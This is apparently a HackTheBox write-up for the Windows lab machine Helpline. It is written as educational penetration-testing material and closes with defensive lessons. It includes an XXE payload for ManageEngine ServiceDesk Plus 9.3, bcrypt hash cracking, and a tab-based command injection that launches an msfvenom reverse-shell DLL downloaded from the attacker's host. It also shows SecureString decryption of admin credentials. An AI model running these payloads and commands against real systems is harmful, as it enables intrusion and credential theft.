HTB: Helpline Writeup
Helpline - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Helpline |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 04 May 2019 |
| IP Address | 10.129.96.159 |
| Author | egre55 |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Helpline is a hard-difficulty Windows machine that demands thorough enumeration at every privilege level. The attack begins by exploiting an XML External Entity (XXE) vulnerability in ManageEngine ServiceDesk Plus 9.3 to extract credentials from the file system. Initial access as a low-privileged user reveals a PostgreSQL database containing bcrypt password hashes, which when cracked provide credentials for lateral movement. A member of the Event Log Readers group can read Windows Security logs, but the Kerberos double-hop problem necessitates CredSSP authentication to retrieve sensitive process creation events containing additional credentials. Further lateral movement reveals a scheduled PowerShell script vulnerable to command injection through tab-separated payloads, allowing code execution as another user. Finally, Administrator credentials are recovered from a PowerShell SecureString object, requiring CredSSP authentication again to decrypt the user flag protected by EFS and retrieve the root flag.
TL;DR: XXE (CVE-2017-9362) in ServiceDesk Plus 9.3 → alice credentials → PostgreSQL hash dump → crack zachary/fiona passwords → CredSSP + Event Log read → tolu credentials → command injection in scheduled script → leo shell → decrypt Administrator SecureString → CredSSP as Administrator → root.txt
Reconnaissance
Port Scanning
# Quick port discoverynmap -p- --min-rate=1000 -T4 10.129.96.159
# Detailed service enumeration on discovered portsnmap -sC -sV -p 135,445,5985,8080,49664,49665,49666,49667,49668,49669 10.129.96.159Results:
PORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1Service Enumeration
SMB (445/TCP)
# Attempt anonymous SMB enumerationsmbclient -N -L \\\\10.129.96.159Guest authentication is denied, preventing anonymous share enumeration.
HTTP (8080/TCP)
Browsing to http://10.129.96.159:8080 reveals ManageEngine ServiceDesk Plus, a helpdesk ticketing system. The login page footer indicates version 9.3 build 9312.
Default credentials guest/guest successfully authenticate and provide access to the ticket system. Exploring existing tickets reveals a “Password Audit” solution containing an attached Excel file (Password Audit.xlsx).
The spreadsheet contains:
- A hidden sheet named “Password Data” with weak passwords found during an internal audit
- A critical file path reference:
C:\Temp\Password Audit\it_logins.txt
This file path becomes a high-value target for out-of-band data exfiltration.
WinRM (5985/TCP)
Windows Remote Management is exposed, allowing PowerShell remoting if valid credentials are obtained.
Vulnerability Assessment
- ManageEngine ServiceDesk Plus 9.3 — vulnerable to CVE-2017-9362, an XML External Entity (XXE) injection in the
/api/cmdb/ciAPI endpoint - WinRM exposed — enables remote code execution with valid credentials
- AppLocker enabled with DLL execution allowed — constrains but does not fully prevent code execution
- PowerShell Constrained Language Mode — limits automated enumeration tools
Initial Foothold
XXE Exploitation (CVE-2017-9362)
The /api/cmdb/ci API endpoint accepts XML input through the INPUT_DATA parameter and processes it without proper validation. This allows injection of external entity declarations to read arbitrary files from the server’s file system.
Exploitation Steps
# Send XXE payload to extract C:\Temp\Password Audit\it_logins.txt# Using Burp Suite or curl to POST to /api/cmdb/ciPayload construction:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:\Temp\Password Audit\it_logins.txt">]><API version='1.0' locale='en'> <records> <record> <parameter> <name>CI Name</name> <value>&xxe;</value> </parameter> </record> </records></API>Request parameters:
OPERATION_NAME=add(required operation)INPUT_DATA=<URL-encoded XML payload>
Why this works:
- The application parses XML without disabling external entity processing
- The
&xxe;entity reference is replaced with the contents of the specified file - The file contents are reflected in the API response within the CI Name field
Extracted credentials from it_logins.txt:
local Windows account createdusername: alicepassword: $sys4ops@megabank!admin required: noInitial Access via WinRM
# Using evil-winrm or PSRemoting to establish a sessionevil-winrm -i 10.129.96.159 -u alice -p '$sys4ops@megabank!'Alternatively, using PowerShell from a Linux environment with proper NTLM authentication:
# Create credential object$pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('alice', $pass)
# Establish PSSession$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication NegotiateEnter-PSSession $sessionEnvironment constraints discovered:
- PowerShell is running in Constrained Language Mode (restricts .NET API access)
- AppLocker is enforced (blocks most executables, but allows DLLs)
- No direct access to user.txt due to EFS encryption
Privilege Escalation
Stage 1: PostgreSQL Database Enumeration
ServiceDesk Plus uses an embedded PostgreSQL database. Exploring the E: drive reveals the installation directory at E:\ManageEngine\ServiceDesk\.
# Navigate to PostgreSQL binary directorycd E:\ManageEngine\ServiceDesk\pgsql\bin
# Connect to database (default credentials, localhost:65432).\psql.exe -h 127.0.0.1 -p 65432 -U postgres -d servicedeskDatabase enumeration:
-- List all tables\dt
-- Dump user accounts and password hashesSELECT aaauser.first_name, aaapassword.passwordFROM aaauser, aaapasswordWHERE aaauser.user_id = aaapassword.password_id;Extracted hashes:
administrator | $2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OB..aSguest | $2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laGzachary | $2a$12$G/dcjszR6/vVNdj2n.pnauXXiC/CQDtjQ1drN.vmFFeJTIJjpLlECfiona | $2a$12$yQ6GZ5fOY1p77RlO/l4hZO.1692824/bQB3SWFPI7PZd5uRP6CnqGleo | $2a$12$Cof.VSGhywrwk4RfXF0A7enQNNZQqmowNbqoiYaM.x71HNrBoU3DKPassword cracking with John the Ripper:
# Save hashes to filecat > hashes.txt <<EOFzachary:$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OB..aSfiona:$2a$12$yQ6GZ5fOY1p77RlO/l4hZO.1692824/bQB3SWFPI7PZd5uRP6CnqGEOF
# Crack with rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hashes.txtCracked credentials:
zachary:0987654321fiona:1q2w3e4r
Stage 2: Event Log Enumeration via CredSSP
# Check group membershipsnet user zacharynet user fionaKey finding: Zachary is a member of Event Log Readers, which grants read access to Windows event logs including the Security log. However, direct attempts to query event logs fail due to the Kerberos double-hop problem.
Understanding the Double-Hop Problem
When authenticating via WinRM:
- First hop: Client → Helpline (credentials verified)
- Second hop: Helpline → Helpline (attempting to use zachary’s credentials)
The default Negotiate authentication does not delegate credentials to the target machine, preventing the second hop. CredSSP (Credential Security Support Provider) authentication solves this by allowing credential delegation.
CredSSP Configuration (from attack box)
For demonstration purposes using Python’s pypsrp library over HTTP/5985:
# Python script to execute wevtutil with CredSSP authenticationfrom pypsrp.client import Client
# Connect as alice with CredSSPclient = Client("10.129.96.159", username="alice", password="$sys4ops@megabank!", ssl=False, auth="credssp")
# Execute wevtutil as zachary (second-hop authentication works with CredSSP)cmd = "wevtutil qe Security /u:zachary /p:0987654321 /r:helpline /f:text"stdout, stderr, rc = client.execute_cmd(cmd)Why CredSSP is required:
- Standard WinRM authentication does not forward credentials to the target
- CredSSP performs a full network logon, making credentials available to the remote session
- This allows zachary’s credentials to be used for local authentication to the Event Log service
Event Log Analysis
Searching the Security log for process creation events (Event ID 4688) reveals sensitive command lines:
Process Command Line:net use k: \\helpline\todos /user:tolu !zaq1234567890pl!99Extracted credentials:
tolu:!zaq1234567890pl!99
# Verify group membershipnet user toluTolu is a member of Remote Management Users, enabling WinRM access.
Stage 3: Lateral Movement to Tolu
# Create new session as tolu$pass = ConvertTo-SecureString '!zaq1234567890pl!99' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('tolu', $pass)$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication CredSSPEnter-PSSession $sessionNote: user.txt on tolu’s desktop is EFS-encrypted. Reading it requires a CredSSP session as tolu to unlock the DPAPI master key.
# Read user flag with proper DPAPI access via CredSSPtype C:\Users\tolu\Desktop\user.txt# <redacted>Stage 4: Command Injection in Scheduled Script
Exploring the file system as tolu reveals write access to E:\Scripts\:
cd E:\ScriptsdirFiles found:
SDP_Checks.ps1— scheduled PowerShell script (runs every 5 minutes as leo)backups.txt— user input file (processed by script)output.txt— script execution log
Script analysis (E:\Scripts\SDP_Checks.ps1):
# Sanitizes backups.txt input and executes xcopy commandsif (Test-Path E:\Scripts\backups.txt) { Copy-Item E:\Scripts\backups.txt E:\Scripts\Processing\backups.txt
# Heavy sanitization (removes: exe, msi, ps1, cmd, bat, dll, space, &, {, }, /, \, ", ', (, ), .) $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "exe","" > E:\Scripts\Processing\backups.txt # ... (15 more replace operations)
ForEach ($backup in Get-Content "E:\Scripts\Processing\backups.txt") { $Command = "echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\$backup" Invoke-Expression $Command }}Vulnerability: Invoke-Expression executes the constructed string, allowing command injection. While heavy sanitization removes most dangerous characters, tab characters (\t) are not filtered.
Exploitation Strategy
PowerShell’s -replace operator only removes spaces ( ) but not tabs. We can inject commands using tab-separated values:
# Create DLL payload for rundll32 execution# (DLL files are allowed by AppLocker, rundll32.exe is whitelisted)
# On attack box: generate reverse shell DLLmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \ -f dll -o pwn.dll
# Transfer DLL to targetInvoke-WebRequest -Uri http://10.10.14.2/pwn.dll -OutFile E:\Scripts\pwn.dllPayload construction:
# Create script file with tab-separated command# Tab character preserves command structure after sanitization$payload = ";`$exec=cat`tscript;iex`t`$exec;"Set-Content -Path E:\Scripts\backups.txt -Value $payload
# Create script with actual command (will be executed via iex)Set-Content -Path E:\Scripts\script -Value "rundll32 E:\Scripts\pwn.dll,DllMain"Why this works:
- The backtick-tab (
`t) represents a literal tab character in PowerShell - Sanitization removes spaces but not tabs
- After sanitization:
;$exec=cat<tab>script;iex<tab>$exec; - PowerShell parses tabs as valid whitespace
iexexecutes the content ofscript, which launches the DLL
Simpler alternate method used in actual exploit:
# Direct tab-separated payload in backups.txt# Format: ;$command<tab>arg1<tab>arg2;Set-Content -Path E:\Scripts\backups.txt -Value ";rundll32`tE:\Scripts\pwn.dll,DllMain;"Setup listener and wait for scheduled execution:
# On attack boxnc -lvnp 443After approximately 5 minutes (script schedule interval), a reverse shell connects as leo.
Stage 5: Administrator Credential Recovery
Exploring leo’s desktop reveals admin-pass.xml:
cd C:\Users\leo\Desktoptype admin-pass.xmlContents:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> ... </TN> <Props> <S N="UserName">administrator</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000...</SS> </Props> </Obj></Objs>This is a PowerShell SecureString credential object. The password is encrypted using Windows DPAPI (Data Protection API) with leo’s master key.
Decryption:
# Import the credential object$cred = Import-Clixml C:\Users\leo\Desktop\admin-pass.xml
# Extract plaintext password$cred.GetNetworkCredential().Password# mb@letmein@SERVER#accWhy decryption works:
- SecureStrings are encrypted per-user using DPAPI
- The shell is running as leo, so leo’s master key is available
GetNetworkCredential()decrypts and returns the plaintext password
Administrator credentials:
administrator:mb@letmein@SERVER#acc
Final Privilege Escalation
# Establish CredSSP session as Administrator$pass = ConvertTo-SecureString 'mb@letmein@SERVER#acc' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('administrator', $pass)$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication CredSSPEnter-PSSession $session
# Retrieve root flagtype C:\Users\Administrator\Desktop\root.txt# <redacted>Attack Chain Summary
Nmap (8080 ServiceDesk Plus 9.3) → XXE (CVE-2017-9362) read C:\Temp\Password Audit\it_logins.txt → alice:$sys4ops@megabank! → WinRM as alice → PostgreSQL dump (port 65432) → Crack bcrypt hashes (zachary:0987654321, fiona:1q2w3e4r) → CredSSP as alice + wevtutil /u:zachary → Event Log 4688 reveals tolu:!zaq1234567890pl!99 → WinRM + CredSSP as tolu (decrypt user.txt via DPAPI) → E:\Scripts\backups.txt command injection (tab-separated payload) → Rundll32 + DLL → shell as leo → Decrypt admin-pass.xml SecureString → administrator:mb@letmein@SERVER#acc → CredSSP as administrator → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
smbclient | SMB enumeration |
curl / Burp Suite | XXE exploitation via HTTP |
evil-winrm / pypsrp | WinRM remote access with CredSSP support |
psql.exe | PostgreSQL database enumeration |
john | Bcrypt password hash cracking |
wevtutil | Windows Event Log querying |
msfvenom | DLL payload generation |
nc | Reverse shell listener |
rundll32.exe | DLL execution (AppLocker bypass) |
Key Learnings
Techniques Practiced
- XML External Entity (XXE) exploitation to extract sensitive files
- Constrained Language Mode and AppLocker enumeration to identify execution paths
- PostgreSQL command-line enumeration in restricted environments
- Bcrypt hash cracking with wordlist attacks
- CredSSP authentication to solve the Kerberos double-hop problem
- Windows Event Log forensics for credential discovery
- Command injection via sanitization bypass using tab characters
- DPAPI decryption of PowerShell SecureStrings
- EFS-encrypted file access via proper user context
Lessons Learned
-
Hidden spreadsheet data can contain valuable intelligence — always check for hidden sheets in Office documents found during enumeration.
-
XXE vulnerabilities enable arbitrary file read — ManageEngine ServiceDesk Plus 9.3’s API endpoint demonstrates classic XXE exploitation. Modern applications should disable external entity processing (
libxml_disable_entity_loader(true)in PHP,XMLInputFactory.setProperty(IS_SUPPORTING_EXTERNAL_ENTITIES, false)in Java). -
Embedded databases are high-value targets — ServiceDesk Plus’s PostgreSQL installation uses default credentials and runs with elevated privileges, containing sensitive password hashes.
-
The Kerberos double-hop problem requires CredSSP — When performing remote administration tasks that require a second authentication hop, Negotiate/Kerberos authentication fails. CredSSP or resource-based constrained delegation must be configured.
-
Windows Event Logs are a forensic goldmine — Security Event ID 4688 (process creation) with command-line auditing enabled captures credentials passed as arguments, a common operational security mistake.
-
Input sanitization is fragile — The scheduled script attempted to sanitize user input with multiple replace operations, but failed to consider tab characters. Blacklist-based sanitization is inherently incomplete; prefer whitelisting or parameterized commands.
-
AppLocker DLL rules are often neglected — While executable rules were strictly enforced, DLL rules were not configured, allowing
rundll32.exeto execute arbitrary code. Both must be configured for defense in depth. -
PowerShell SecureStrings are only secure in context — DPAPI-encrypted credentials are protected against offline attacks, but any process running as the encrypting user can decrypt them. Credentials should be stored in proper vaults (Credential Manager, Azure Key Vault) with ACLs.
-
EFS encryption requires proper user context — Encrypted file system (EFS) protects files at rest, but requires the user’s logon session (with DPAPI keys loaded) to decrypt. Network logons (standard WinRM) don’t load these keys; interactive or CredSSP logons do.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup incorporates technical explanations and vulnerability context from the official HackTheBox writeup for Helpline, authored by MinatoTW (Document No. D19.100.31, 13th November 2019).